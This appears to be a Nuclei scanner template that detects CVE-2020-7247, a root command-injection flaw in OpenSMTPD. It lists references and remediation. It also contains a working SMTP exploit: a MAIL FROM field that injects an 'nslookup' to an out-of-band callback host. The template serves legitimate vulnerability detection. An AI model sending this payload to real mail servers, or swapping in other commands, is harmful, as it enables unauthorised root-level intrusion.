id: CVE-2020-7247 info: name: OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution author: princechaddha severity: critical description: | OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation. reference: - https://www.openwall.com/lists/oss-security/2020/01/28/3 - https://nvd.nist.gov/vuln/detail/CVE-2020-7247 - https://github.com/openbsd/src/commit/9dcfda045474d8903224d175907bfc29761dcb45 - http://www.openwall.com/lists/oss-security/2020/01/28/3 - http://packetstormsecurity.com/files/156145/OpenSMTPD-6.6.2-Remote-Code-Execution.html remediation: OpenBSD users are recommended to install patches for OpenBSD 6.6 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-7247 cwe-id: CWE-755 cpe: cpe:2.3:a:openbsd:opensmtpd:6.6:*:*:*:*:*:*:* epss-score: 0.9749 metadata: max-request: 1 product: opensmtpd vendor: openbsd tags: cve,cve2020,smtp,opensmtpd,network,rce,oast,kev tcp: - host: - "{{Hostname}}" port: 25 inputs: - read: 1024 - data: "helo target\r\n" read: 1024 - data: "MAIL FROM:<;nslookup {{interactsh-url}};>\r\n" read: 1024 - data: "RCPT TO:\r\n" read: 1024 - data: "DATA\r\n" read: 1024 - data: "\r\nxxxx\r\n.\r\n" read: 1024 - data: "QUIT\r\n" read: 1024 matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: word part: raw words: - "Message accepted for delivery" # digest: 480a00453043021f7ef5362908882561d6dde64d53453b3152f39facf5bff6026ace711a28cafe02205cacf57b6193d5ab548c77baacf66b68439fbb63c343b4ecfd1fb3253b1a026f:922c64590222798bb761d5b6d8e72950